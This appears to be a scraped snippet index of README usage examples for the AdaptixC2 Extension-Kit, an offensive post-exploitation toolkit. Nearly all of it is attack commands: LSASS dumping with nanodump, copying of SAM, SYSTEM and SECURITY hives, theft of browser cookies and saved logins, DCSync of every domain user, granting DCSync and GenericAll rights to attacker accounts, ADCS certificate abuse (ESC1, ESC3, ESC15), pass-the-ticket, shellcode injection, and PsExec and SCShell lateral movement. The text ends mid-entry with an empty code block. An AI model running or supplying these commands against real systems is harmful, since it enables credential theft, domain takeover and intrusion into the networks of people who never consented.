### CuddlePhish Project Setup and Cookie Import

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/cookie-monster/README.md

Instructions for setting up the CuddlePhish project, including cloning the repository, installing Node.js dependencies, and importing decrypted cookies.

```bash
cd 
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json
```

--------------------------------

### Install Requirements

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/cookie-monster/README.md

Install the necessary Python packages before running the decryption script.

```bash
pip3 install -r requirements.txt
```

--------------------------------

### Install Build Tools for Ubuntu/Kali

Source: https://github.com/adaptix-framework/extension-kit/blob/main/README.md

Installs necessary MinGW-w64 cross-compilation tools for building modules on Ubuntu or Kali Linux.

```bash
apt install g++-mingw-w64-x86-64-posix  gcc-mingw-w64-x86-64-posix  mingw-w64-tools
```

--------------------------------

### Install Build Tools for Arch Linux

Source: https://github.com/adaptix-framework/extension-kit/blob/main/README.md

Installs necessary MinGW-w64 cross-compilation tools for building modules on Arch Linux.

```bash
pacman -Syu mingw-w64-x86_64-gcc mingw-w64-x86_64-gcc-libs
```

--------------------------------

### Install Dependencies and Build Extension-Kit

Source: https://context7.com/adaptix-framework/extension-kit/llms.txt

Installs necessary MinGW cross-compilers for Ubuntu/Kali and Arch Linux, then clones and builds all BOF modules for the Extension-Kit. Alternatively, a Docker build is available.

```bash
# Ubuntu / Kali
apt install g++-mingw-w64-x86-64-posix gcc-mingw-w64-x86-64-posix mingw-w64-tools

# Arch Linux
pacman -Syu mingw-w64-x86_64-gcc mingw-w64-x86_64-gcc-libs

# Clone and build every module
git clone https://github.com/Adaptix-Framework/Extension-Kit
cd Extension-Kit
make

# Or build inside Docker
make docker-build
```

--------------------------------

### Configure Unconstrained Delegation (Example)

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Configures unconstrained delegation on a specified computer account. This is a direct example of the add-unconstrained macro.

```bash
# Configure unconstrained delegation
ldap add-unconstrained WS01$
```

--------------------------------

### Make User AS-REP Roastable (Example)

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Makes a user AS-REP roastable by setting the DONT_REQ_PREAUTH flag. This is a direct example of the add-asreproastable macro.

```bash
# Make user AS-REP roastable
ldap add-asreproastable targetuser
```

--------------------------------

### Download SYSTEM Hive with Custom Filename

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/UnderlayCopy/README.md

Example of downloading the SYSTEM registry hive to the server and specifying a custom filename for the downloaded file.

```bash
# Download SYSTEM hive with custom filename
underlaycopy MFT C:\Windows\System32\config\SYSTEM --download -w SYSTEM_backup
```

--------------------------------

### Build Extension Kit Modules

Source: https://github.com/adaptix-framework/extension-kit/blob/main/README.md

Clones the Extension Kit repository and builds all modules using make. Ensure build tools are installed prior to running.

```bash
git clone https://github.com/Adaptix-Framework/Extension-Kit
cd Extension-Kit
make
```

--------------------------------

### Request Certificate (certi req)

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/ADCS-BOF/README.md

Requests an enrollment certificate from a specified CA. Options include specifying the template, subject, alternate names (SANs), and installation preferences. Use --pem for PEM output instead of PFX. The --policy flag adds App policy for client auth and acting as a certificate agent.

```bash
certi req <--ca CA> [--template Template] [--subject CN] [--altname CN] [--alturl tag:microsoft.com,2022-09-14:sid:<SID>] [--install] [--machine] [--policy] [--dns] [--pfx-password password] [--pem]
```

--------------------------------

### Copy File Using Metadata Mode

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/UnderlayCopy/README.md

Example of copying an unlocked file using Metadata mode, which is generally faster. The file is saved to a specified destination with a new name.

```bash
# Copy file using Metadata mode (faster for unlocked files)
underlaycopy Metadata C:\Windows\System32\notepad.exe -w C:\temp\notepad_copy.exe
```

--------------------------------

### Cookie-Monster BOF Usage Examples

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/cookie-monster/README.md

Demonstrates various ways to invoke the cookie-monster BOF, including targeting specific browsers, decrypting keys, and specifying file operations.

```bash
cookie-monster --chrome

```

```bash
cookie-monster --edge

```

```bash
cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>

```

```bash
cookie-moster --firefox

```

```bash
cookie-monster --chromeCookiePID <PID>

```

```bash
cookie-monster --chromeLoginDataPID <PID>

```

```bash
cookie-monster --edgeCookiePID <PID>

```

```bash
cookie-monster --edgeLoginDataPID <PID>

```

--------------------------------

### Configure Constrained Delegation

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Configures constrained delegation for a specified computer account and service. This is a direct example of the add-constrained macro.

```bash
# Configure constrained delegation
ldap add-constrained WS02$ CIFS/DC01.corp.local
```

--------------------------------

### Grant GenericAll on User

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Grants GenericAll permissions on a target user account to an attacker user. This is a direct example of the add-genericall macro.

```bash
# Grant GenericAll on user
ldap add-genericall targetuser attackeruser
```

--------------------------------

### Compile Cookie-Monster BOF

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/cookie-monster/README.md

Command to compile the Cookie-Monster BOF using make. Ensure Mingw-w64 and make are installed prior to execution.

```bash
make

```

--------------------------------

### Configure RBCD

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Configures Resource-Based Constrained Delegation (RBCD) between specified accounts. This is a direct example of the add-rbcd macro.

```bash
# Configure RBCD
ldap add-rbcd DC01$ ATTACKER$
```

--------------------------------

### Download Locked SECURITY Hive to Server

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/UnderlayCopy/README.md

Example of downloading the SECURITY registry hive to the server using MFT mode. The file is automatically named using the HOSTNAME_FILENAME.hive format.

```bash
# Download locked SECURITY hive to server (saved as HOSTNAME_SECURITY.hive)
underlaycopy MFT C:\Windows\System32\config\SECURITY --download
```

--------------------------------

### Get Delegation Configuration

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Retrieves the delegation configuration for a specified target object. Requires the target identifier, and optionally accepts an OU path, domain controller FQDN, and LDAPS flag.

```bash
ldap get-delegation <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### Request Certificate (ESC1 - SAN)

Source: https://context7.com/adaptix-framework/extension-kit/llms.txt

Requests certificates using ESC1 (Subject Alternative Name) by specifying the CA, template, and alternative name. Supports installing the certificate locally or outputting PEM format. Can also add application policies for ESC15.

```bash
certi req --ca "corp-CA" --template User --altname Administrator --install

```

```bash
certi req --ca "corp-CA" --template Machine --machine --pem

```

```bash
certi req --ca "corp-CA" --template ESC15Template \
          --altname Administrator --policy                    # ESC15: add app policy

```

--------------------------------

### Get LSASS PID

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/nanodump/README.md

Retrieves the Process ID (PID) of the LSASS process.

```bash
nanodump --getpid
```

--------------------------------

### Create Computer Account

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Creates a new computer account in Active Directory. Requires the computer name and a password.

```bash
# Create computer account
ldap add-computer TESTCOMP -p Password123!
```

--------------------------------

### Grant DCSync Rights

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Grants DCSync permissions to a specified user on the domain object. This is a direct example of the add-dcsync macro.

```bash
# Grant DCSync rights
ldap add-dcsync "DC=corp,DC=local" eviluser
```

--------------------------------

### Token Make Command

Source: https://github.com/adaptix-framework/extension-kit/blob/main/LateralMovement-BOF/README.md

Creates an impersonated token from provided credentials. This token will be available in the 'Access' menu.

```shell
token make <username> <password> <domain> <type>
```

--------------------------------

### nbtscan: Custom timeout

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAR-BOF/README.md

Sets a custom response timeout in milliseconds for the scan. This example uses 2000ms (2 seconds).

```Shell
nbtscan 192.168.1.0/24 -t 2000
```

--------------------------------

### UnderlayCopy-BOF Command Line Usage

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/UnderlayCopy/README.md

The command-line syntax for using UnderlayCopy-BOF. Specify the copy mode, source file, and either a destination path or the --download flag.

```bash
underlaycopy <mode> <source> [-w destination] [--download]
```

--------------------------------

### Authenticate with Certificate (certi auth)

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/ADCS-BOF/README.md

Authenticates with a certificate using PKINIT and optionally UnPAC-the-hash. Use --cert for base64 encoded certs or --pfx for PFX files. Specify --dc for a domain controller or let it auto-detect. The --no-unpac flag retrieves only the TGT without extracting the NT hash.

```bash
certi auth <{--cert base64_cert} || {--pfx file.pfx}> [--password pfx_password] [--dc DC] [--no-unpac]
```

--------------------------------

### Authenticate via Certificate (PKINIT)

Source: https://context7.com/adaptix-framework/extension-kit/llms.txt

Authenticates to a domain using a PFX certificate, supporting PKINIT and optionally skipping NT hash extraction.

```bash
certi auth --pfx /tmp/admin.pfx --password PfxPass1 --dc 192.168.1.10

```

```bash
certi auth --cert BASE64ENCODEDPFX --no-unpac                # TGT only, skip NT hash

```

--------------------------------

### Create New User Account

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Creates a new user account in Active Directory with a specified username and password.

```bash
# Create new user
ldap add-user jane.doe Password123!
```

--------------------------------

### Get Machine Account Quota

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Retrieves the Machine Account Quota (ms-DS-MachineAccountQuota) value for the domain. Optionally specify the domain controller FQDN and enable LDAPS.

```bash
ldap get-maq [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### List All Computers in Domain

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Lists all computer objects within the domain. Optional parameters include specifying an OU, domain controller FQDN, desired attributes, and enabling LDAPS.

```bash
ldap get-computers [-ou ou_path] [-dc dc_fqdn] [-a attributes] [--ldaps]
```

--------------------------------

### Display IP Configuration

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/README.md

Shows the IPv4 address, hostname, and DNS server information for the network interfaces.

```bash
ipconfig
```

--------------------------------

### Runas Session Command

Source: https://github.com/adaptix-framework/extension-kit/blob/main/LateralMovement-BOF/README.md

Executes a binary in another user's session using the IHxHelpPaneServer COM interface.

```shell
runas-session <session_id> <filepath>
```

--------------------------------

### Load Extension-Kit BOFs in AdaptixC2

Source: https://context7.com/adaptix-framework/extension-kit/llms.txt

Loads all ten sub-scripts of the Extension-Kit into the AdaptixC2 client via the AxScript engine. Ensure the extension-kit.axs file is placed in the correct directory.

```javascript
// extension-kit.axs
var path = ax.script_dir();
ax.script_load(path + "AD-BOF/ad.axs");
ax.script_load(path + "AD-BOF/ad-services.axs");
ax.script_load(path + "Creds-BOF/creds.axs");
ax.script_load(path + "Elevation-BOF/elevate.axs");
ax.script_load(path + "Execution-BOF/execution.axs");
ax.script_load(path + "Injection-BOF/inject.axs");
ax.script_load(path + "LateralMovement-BOF/lateral.axs");
ax.script_load(path + "Postex-BOF/postex.axs");
ax.script_load(path + "Process-BOF/process.axs");
ax.script_load(path + "SAL-BOF/sal.axs");
ax.script_load(path + "SAR-BOF/sar.axs");
```

--------------------------------

### Jump with SCShell

Source: https://github.com/adaptix-framework/extension-kit/blob/main/LateralMovement-BOF/README.md

Deploys a service binary to the target system to achieve lateral movement. This method is not fileless. Specify the target, service binary path, and optionally service name, binary name, share, and path.

```shell
jump scshell <target> <svc_binary_path> [-n service_name] [-b binary_name] [-s share] [-p path]
```

```shell
jump scshell 10.0.2.10 /tmp/agent_svc.exe -n defragsvc -b update.exe -s C$ -p C:\Windows
```

--------------------------------

### nbtscan: Hosts file format

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAR-BOF/README.md

Outputs scan results in a format compatible with `/etc/hosts` files.

```Shell
nbtscan 192.168.1.0/24 -e
```

--------------------------------

### Get Object Attributes

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Retrieves all attributes for a specified LDAP object. Requires the target object's identifier, and optionally accepts an OU path, domain controller FQDN, and LDAPS flag.

```bash
ldap get-object <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### Request Certificate on Behalf (certi request_on_behalf)

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/ADCS-BOF/README.md

Requests a certificate on behalf of another user, commonly used for ESC3 scenarios. Requires the CA, template, target user, and an Enrollment Agent (EA) certificate. Use --pem for PEM output. The --ea-password and --pfx-password flags are for the EA PFX and the output PFX respectively.

```bash
certi request_on_behalf --ca <ca> --template <template> --target <target> --ea-pfx <cert> [--ea-password password] [--pfx-password password] [--pem]
```

--------------------------------

### Copy Locked SAM Registry Hive (MFT Mode)

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/UnderlayCopy/README.md

Example of copying the SAM registry hive using MFT mode, which is recommended for locked files. The copied file is saved to a specified destination.

```bash
# Copy locked SAM registry hive using MFT mode (recommended for locked files)
underlaycopy MFT C:\Windows\System32\config\SAM -w C:\temp\SAM_copy
```

--------------------------------

### List Environment Variables

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/README.md

Retrieves and displays the environment variables for the current process.

```bash
env
```

--------------------------------

### Get RBCD Configuration

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Retrieves the Resource-Based Constrained Delegation (RBCD) configuration for a specified target object. Requires the target identifier, and optionally accepts an OU path, DC FQDN, and LDAPS flag.

```bash
ldap get-rbcd <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### Get SPNs for Object

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Retrieves Service Principal Names (SPNs) configured for a specified object. Requires the target identifier, and optionally accepts an OU path, domain controller FQDN, and LDAPS flag.

```bash
ldap get-spn <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### List All Users in Domain

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Lists all users within the domain. Optional parameters include specifying an OU, domain controller FQDN, desired attributes, and enabling LDAPS.

```bash
ldap get-users [-ou ou_path] [-dc dc_fqdn] [-a attributes] [--ldaps]
```

--------------------------------

### Get UAC Flags

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Retrieves the User Account Control (UAC) flags for a specified target object. Requires the target identifier, and optionally accepts an OU path, domain controller FQDN, and LDAPS flag.

```bash
ldap get-uac <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### badtakeover: Account Takeover via BadSuccessor

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/README.md

Utilizes the BadSuccessor technique for account takeover in Active Directory. Requires target OU, new DMSA account, current SID, target user DN, and domain.

```bash
badtakeover <target_ou> <new_dmsa_account> <curren sid> <target_user_dn> <domain>
```

--------------------------------

### Trick Seclogon, Duplicate Handle, Download Dump

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/nanodump/README.md

Tricks seclogon into opening a handle to LSASS, duplicates it, and then downloads the dump with an invalid signature.

```bash
nanodump -sd
```

--------------------------------

### Get ACL/Security Descriptor

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Retrieves the Access Control List (ACL) or security descriptor for a specified object. Requires the target identifier, and optionally accepts an OU path, DC FQDN, LDAPS flag, and resolves SIDs.

```bash
ldap get-acl <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps] [--resolve]
```

--------------------------------

### ldapq computers: List Domain Computers via LDAP

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/README.md

Retrieves a list of computers in a domain using LDAP and saves the results in TaskManager.

```bash
ldapq computers
```

--------------------------------

### Get Specific Attribute Values

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Retrieves specific attribute values for a target object. Supports comma-separated lists for attributes. Requires target and attribute names, with optional OU path, DC FQDN, and LDAPS flag.

```bash
ldap get-attribute <target> <attributes> [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### Test LDAP Connectivity

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Use these commands to test basic LDAP connectivity and troubleshoot connection issues. Explicitly specify a domain controller or use LDAPS if port 389 is blocked.

```bash
# Test basic connectivity
ldap get-domaininfo
```

```bash
# Try explicit DC specification
ldap get-domaininfo -dc 192.168.1.10
```

```bash
# Use LDAPS if port 389 is blocked
ldap get-domaininfo --ldaps
```

--------------------------------

### Add GenericWrite ACE to Object DACL

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Adds a GenericWrite ACE to an object's DACL. Specify target, trustee, and optional ACE type, flags, GUIDs, OU path, DC FQDN, or use LDAPS.

```bash
ldap add-genericwrite <target> <trustee> [-type ace_type] [-flags flags] [-guid guid] [-inherit-guid inherit_guid] [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### View LDAP BOF Command Usage

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

To view the usage instructions for any specific LDAP BOF command, use the 'help ldap {command}' syntax.

```bash
help ldap {command}
```

--------------------------------

### Add GenericAll ACE to Object DACL

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Adds a GenericAll ACE to an object's DACL. Specify target, trustee, and optional ACE type, flags, GUIDs, OU path, DC FQDN, or use LDAPS.

```bash
ldap add-genericall <target> <trustee> [-type ace_type] [-flags flags] [-guid guid] [-inherit-guid inherit_guid] [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### Add DCSync ACEs to Object DACL

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Adds DCSync ACEs to an object's DACL, granting necessary permissions for replication. Specify target, trustee, and optional ACE type, flags, GUIDs, OU path, or DC FQDN.

```bash
ldap add-dcsync <target> <trustee> [-type ace_type] [-flags flags] [-guid guid] [-inherit-guid inherit_guid] [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### Inject-32to64: WOW64 to x64 Process Injection

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Injection-BOF/README.md

Enables a 32-bit (WOW64) process to inject x64 shellcode into a 64-bit process by performing a context switch. Uses RtlCreateUserThread for remote thread creation.

```plaintext
inject-32to64 <pid> <shellcode_file>
```

--------------------------------

### quser: Enumerate remote user sessions

Source: https://context7.com/adaptix-framework/extension-kit/llms.txt

Enumerates user sessions on the current host or a specified remote host by hostname or IP address.

```bash
quser                       # Sessions on current host
```

```bash
quser 192.168.1.50          # Sessions on a remote host
```

```bash
quser DC01.corp.local       # By hostname
```

--------------------------------

### webdav_enable: Enable WebDAV Client Service

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/README.md

Enables the WebDAV client service without requiring elevated permissions. Use 'webdav_status' to check the service status on specified hosts.

```bash
webdav_enable
```

```bash
webdav_status <host1,host2,host3>
```

--------------------------------

### List File Permissions

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/README.md

Displays user permissions for a specified file or directory. Wildcards are supported for path matching.

```bash
cacls <path>
```

--------------------------------

### Make User AS-REP Roastable

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Sets the DONT_REQ_PREAUTH flag on a user account to make it AS-REP roastable. Specify the target user and optional OU path or DC FQDN.

```bash
ldap add-asreproastable <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]
```

--------------------------------

### Dump All Domain Users

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/DCSync-BOF/README.md

Execute this command to dump credentials for all users within the domain. No specific target is required.

```sh
dcsync all
```

--------------------------------

### Copy IPConfig Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'ipconfig' target to the _bin directory. It depends on the 'ipconfig' target being built first.

```cmake
add_custom_target(copy_ipconfig ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:ipconfig> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/ipconfig.x64.o
    DEPENDS ipconfig
    COMMENT "Copying ipconfig object file"
)
```

--------------------------------

### List Kerberos Tickets (klist)

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/Kerbeus-BOF/README.md

Lists detailed information on the current user's logon session and Kerberos tickets. If run from an elevated context (SYSTEM), information on all logon sessions and associated Kerberos tickets is displayed. Can filter by LogonID, user, service, or client.

```bash
kerbeus klist [/luid:LOGINID] [/user:USER] [/service:SERVICE] [/client:CLIENT]
```

--------------------------------

### Take Screenshot with WinAPI BOF

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Postex-BOF/README.md

An alternative screenshot capability using WinAPI. Supports JPEG format, beacon screenshot callback, and capturing minimized windows. Screenshots are saved in AdaptixC2 storage.

```bash
screenshot_bof [-n note] [-p pid]
```

--------------------------------

### Download LSASS Dump (Default)

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/nanodump/README.md

A simple command to download the LSASS dump. By default, the dump is written with an invalid signature.

```bash
nanodump
```

--------------------------------

### Obtain and Elevate Low Priv Handle

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/nanodump/README.md

Obtains a handle with low privileges and then elevates it using the '_elevate handle_' functionality.

```bash
nanodump -eh
```

--------------------------------

### Duplicate Existing Low Priv Handle and Elevate

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/nanodump/README.md

Duplicates an existing low-privileged handle and then elevates it using '_elevate handle_'.

```bash
nanodump -de
```

--------------------------------

### Include Directories Configuration

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Elevation-BOF/CMakeLists.txt

Specifies the include paths for the project. The main include directory is expected to be at the root level of the source directory.

```cmake
include_directories(${CMAKE_SOURCE_DIR}/_include)
```

--------------------------------

### List All Groups in Domain

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Lists all security and distribution groups within the domain. Optional parameters include specifying an OU, domain controller FQDN, desired attributes, and enabling LDAPS.

```bash
ldap get-groups [-ou ou_path] [-dc dc_fqdn] [-a attributes] [--ldaps]
```

--------------------------------

### Copy ListDNS Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'listdns' target to the _bin directory. It depends on the 'listdns' target being built first.

```cmake
add_custom_target(copy_listdns ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:listdns> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/listdns.x64.o
    DEPENDS listdns
    COMMENT "Copying listdns object file"
)
```

--------------------------------

### Create Object Libraries for BOF Modules

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Elevation-BOF/CMakeLists.txt

Defines each BOF module as an object library. The 'printspoofer' module has the 'BOF' compile definition set.

```cmake
add_library(getsystem_token OBJECT ${GETSYSTEM_TOKEN_SOURCES})
```

```cmake
add_library(uac_regshellcmd OBJECT ${UAC_REGSHELLCMD_SOURCES})
```

```cmake
add_library(printspoofer OBJECT ${PRINTSPOOFER_SOURCES})
target_compile_definitions(printspoofer PRIVATE BOF)
```

```cmake
add_library(uac_sspi OBJECT ${UAC_SSPI_SOURCES})
```

```cmake
add_library(DCOMPotato OBJECT ${DCOMPOTATO_SOURCES})
```

--------------------------------

### Pass-the-Ticket (PTT)

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/Kerbeus-BOF/README.md

Submits a Kerberos ticket (TGT or service ticket) for the current logon session or a specified logon session if elevated. The ticket can be a base64 encoding of a .kirbi file.

```bash
kerbeus ptt /ticket:BASE64 [/luid:LOGONID]
```

--------------------------------

### NanoDump Command-Line Usage

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/nanodump/README.md

Lists available command-line arguments for the nanodump executable. Use these flags to control dump creation, validation, and specific techniques.

```bash
Usage:   nanodump [-w DUMP_PATH] [--valid] [-d] [-de] [-slr SLR_BIN_PATH] [-sd] [-sc] [-spe SPE_DUMP_FOLDER] [-sk] [--fork] [--snapshot] [-eh] [--getpid] [--pid PID]

Arguments:
    [-w DUMP_PATH]          : STRING.   Filename of the dump
    [--valid]               : BOOL.     Create a dump with a valid signature
    [-d]                    : BOOL.     Duplicate: a high privileged existing LSASS handle
    [-de]                   : BOOL.     Duplicate-elevate: a low privileged existing LSASS handle and then elevate it
    [-slr SLR_BIN_PATH]     : STRING.   Seclogon-leak-remote: leak an LSASS handle into another process via seclogon and duplicate it
    [-sd]                   : BOOL.     Seclogon-duplicate: make seclogon open a handle to LSASS and duplicate it
    [-sc]                   : BOOL.     Spoof-callstack: open a handle to LSASS using a fake calling stack
    [-spe SPE_DUMP_FOLDER]  : STRING.   Silent-process-exit: force WerFault.exe to dump LSASS via SilentProcessExit
    [-sk]                   : BOOL.     Force WerFault.exe to dump LSASS via Shtinkering (Need SYSTEM)
    [--fork]                : BOOL.     Fork the target process before dumping
    [--snapshot]            : BOOL.     Snapshot the target process before dumping
    [-eh]                   : BOOL.     Elevate-handle: open a handle to LSASS with low privileges and duplicate it to gain higher privileges
    [--getpid]              : BOOL.     Print the PID of LSASS and leave
    [--pid PID]             : INT.      PID of LSASS
```

--------------------------------

### Add User with LDAPS

Source: https://github.com/adaptix-framework/extension-kit/blob/main/AD-BOF/LDAP-BOF/README.md

Creates a new user account using LDAPS (LDAP over SSL/TLS) on port 636 for secure communication.

```bash
ldap add-user secretuser P@ss123 --ldaps
```

--------------------------------

### Copy Uptime Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'uptime' target to the _bin directory. It depends on the 'uptime' target being built first.

```cmake
add_custom_target(copy_uptime ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:uptime> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/uptime.x64.o
    DEPENDS uptime
    COMMENT "Copying uptime object file"
)
```

--------------------------------

### nbtscan: lmhosts file format

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAR-BOF/README.md

Outputs scan results in a format compatible with `lmhosts` files.

```Shell
nbtscan 192.168.1.0/24 -l
```

--------------------------------

### Display Whoami Information

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/README.md

Lists detailed information about the current user, equivalent to 'whoami /all'.

```bash
whoami
```

--------------------------------

### Jump with PsExec

Source: https://github.com/adaptix-framework/extension-kit/blob/main/LateralMovement-BOF/README.md

Attempts to spawn a session on a remote target using PsExec. Requires specifying the target and the binary to execute.

```shell
jump psexec [-b binary_name] [-s share] [-p svc_path] [-n svc_name] [-d svc_description] <target> <binary>
```

--------------------------------

### Create Output Directory for Object Files

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Elevation-BOF/CMakeLists.txt

Ensures that the '_bin' directory exists in the current source directory for storing compiled object files.

```cmake
file(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)
```

--------------------------------

### Load NanoDump as SSP

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/nanodump/README.md

Loads nanodump as a Security Support Provider (SSP) into LSASS. This action uploads a nanodump binary to the target system.

```bash
nanodump_ssp -w C:\Windows\Temp\lsass.dmp
```

--------------------------------

### Add Firewall Rule using COM

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Postex-BOF/README.md

Use this command to add a new inbound or outbound firewall rule. Specify the port, rule name, and optionally direction, group, and description.

```bash
firewallrule add <port> <rulename> [direction] [-g rulegroup] [-d description]
```

--------------------------------

### ESC3 - Request Certificate on Behalf

Source: https://context7.com/adaptix-framework/extension-kit/llms.txt

Requests a certificate on behalf of another user using a specified template and enrollment agent PFX. Allows setting a password for the output PFX.

```bash
certi request_on_behalf --ca "corp-CA" --template User \
                         --target "CORP\targetuser" \
                         --ea-pfx /tmp/enrollment_agent.pfx \
                         --ea-password AgentPass \
                         --pfx-password OutputPass

```

--------------------------------

### Copy TokenPriv Object File

Source: https://github.com/adaptix-framework/extension-kit/blob/main/SAL-BOF/CMakeLists.txt

This command copies the object file for the 'tokenpriv' target to the _bin directory. It depends on the 'tokenpriv' target being built first.

```cmake
add_custom_target(copy_tokenpriv ALL
    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:tokenpriv> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/tokenpriv.x64.o
    DEPENDS tokenpriv
    COMMENT "Copying tokenpriv object file"
)
```

--------------------------------

### Execute .NET Assembly Command

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Execution-BOF/README.md

Command to execute a .NET assembly inline. Specify the path to the assembly and any parameters.

```bash
execute-assembly <path> [params]
```

--------------------------------

### LSA SAM Hashes Dump BOF

Source: https://github.com/adaptix-framework/extension-kit/blob/main/Creds-BOF/README.md

Dumps NTLM hashes for all local user accounts directly from the SAM registry hive. Requires administrator privileges. Discovered credentials are automatically added to the Adaptix store.

```bash
